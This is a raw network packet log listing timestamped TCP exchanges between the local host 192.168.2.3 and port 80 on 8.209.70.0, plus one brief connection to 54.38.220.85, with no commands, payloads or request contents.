Jan 14, 2022 20:23:07.438951015 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438963890 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438990116 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439028025 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439068079 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439080954 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.439105988 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439116955 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.439147949 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439188004 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439224958 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439248085 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.439265013 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439273119 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.439305067 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439342022 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439379930 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439399958 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.439418077 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.439454079 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.457166910 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457228899 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457268953 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457300901 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.457308054 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457343102 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.457346916 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457379103 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.457432032 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477545977 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477572918 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477590084 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477607012 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477624893 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477643013 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477659941 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477678061 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477694988 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477713108 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477730989 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477750063 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477763891 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477770090 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477790117 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477808952 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477827072 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477828026 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477844000 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477878094 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477881908 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477886915 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477899075 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477915049 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477932930 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477938890 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.477950096 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477968931 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.477987051 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478003979 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478024006 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478024960 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478034973 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478039980 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478051901 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478070021 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478084087 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478087902 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478104115 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478106022 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478121042 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478125095 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478142023 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478154898 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478158951 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478179932 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478194952 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478198051 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478215933 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478229046 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478231907 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478245974 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478260040 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478266954 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478272915 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478291035 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478296041 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478310108 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478319883 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478327990 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478344917 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478362083 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478372097 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478379011 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478385925 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.478391886 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.478420973 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.495997906 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496028900 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496052980 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496064901 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496076107 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496098042 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496099949 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496120930 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496143103 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496145010 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496166945 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496191978 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496213913 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496227026 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496236086 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496258974 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496264935 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496279001 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496279955 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496301889 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496324062 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496324062 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496347904 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496370077 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496391058 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496391058 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496414900 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496417046 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496436119 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496457100 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496460915 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496479034 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496500969 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496501923 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496524096 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496546030 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496557951 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496567011 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496589899 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496592045 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496613979 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496629000 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496635914 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496658087 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496680021 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496682882 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496702909 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496725082 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496746063 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496747971 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496769905 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496773958 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496790886 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496814013 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496818066 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496836901 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496853113 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.496880054 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.496903896 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.516937017 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.516994953 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517030954 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517060041 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517066002 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517102003 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517113924 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517138958 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517179012 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517182112 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517214060 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517251015 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517287970 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517297983 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517323017 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517333031 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517359972 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517395973 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517433882 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517436981 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517471075 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517477036 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517505884 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517541885 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517577887 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517587900 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517612934 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517617941 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517647982 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517683029 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517720938 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517725945 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517757893 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517760992 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517791986 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517828941 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517875910 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517891884 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517930031 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.517935991 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.517963886 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518001080 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518035889 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518071890 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518084049 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518089056 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518109083 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518143892 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518153906 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518179893 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518217087 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518222094 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518253088 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518289089 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518325090 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518352032 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518363953 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518378973 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518400908 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518454075 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518465042 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518491030 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518528938 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518565893 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518577099 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518604040 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518608093 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518640995 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518676996 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518726110 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.518726110 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.518770933 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536263943 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536324024 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536367893 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536407948 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536423922 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536451101 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536463022 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536489010 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536529064 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536570072 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536581039 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536607981 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536614895 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536647081 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536686897 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536725998 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536730051 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536767006 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536770105 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536804914 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536845922 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536891937 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536895037 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536935091 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.536941051 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.536973000 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537012100 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537028074 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537051916 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537091970 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537107944 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537132978 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537172079 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537175894 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537213087 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537252903 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537256956 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537292957 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537332058 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537372112 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537411928 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537425041 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537430048 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.537455082 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.537502050 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.544934034 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.562920094 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:08.870985985 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:08.888381958 CET	80	49776	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:08.888495922 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:08.888633966 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:08.889087915 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:08.906021118 CET	80	49776	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:08.906383991 CET	80	49776	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.008418083 CET	80	49776	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.008490086 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.008657932 CET	49776	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.025892019 CET	80	49776	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.048132896 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.065493107 CET	80	49777	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.065608025 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.065694094 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.065709114 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.082998991 CET	80	49777	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.198546886 CET	80	49777	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.198573112 CET	80	49777	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.198642969 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.198822021 CET	49777	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.216065884 CET	80	49777	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.230216026 CET	49778	80	192.168.2.3	54.38.220.85
Jan 14, 2022 20:23:09.250123024 CET	80	49778	54.38.220.85	192.168.2.3
Jan 14, 2022 20:23:09.250236034 CET	49778	80	192.168.2.3	54.38.220.85
Jan 14, 2022 20:23:09.250312090 CET	49778	80	192.168.2.3	54.38.220.85
Jan 14, 2022 20:23:09.269332886 CET	80	49778	54.38.220.85	192.168.2.3
Jan 14, 2022 20:23:09.269359112 CET	80	49778	54.38.220.85	192.168.2.3
Jan 14, 2022 20:23:09.297188044 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.315815926 CET	80	49779	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.317178965 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.317270041 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.317280054 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.318444967 CET	49778	80	192.168.2.3	54.38.220.85
Jan 14, 2022 20:23:09.334656954 CET	80	49779	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.458137035 CET	80	49779	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.458739042 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.458961010 CET	49779	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.476629972 CET	80	49779	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.504723072 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.521992922 CET	80	49780	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.522099018 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.522243977 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.522262096 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.539720058 CET	80	49780	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.643693924 CET	80	49780	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:09.647713900 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.662220001 CET	49780	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:09.679575920 CET	80	49780	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.106471062 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.124078035 CET	80	49781	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.126318932 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.126344919 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.126349926 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.144366026 CET	80	49781	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.144392967 CET	80	49781	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.249308109 CET	80	49781	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.249573946 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.249875069 CET	49781	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.267121077 CET	80	49781	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.309221983 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.326618910 CET	80	49782	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.327372074 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.327513933 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.327528000 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.344701052 CET	80	49782	8.209.70.0	192.168.2.3
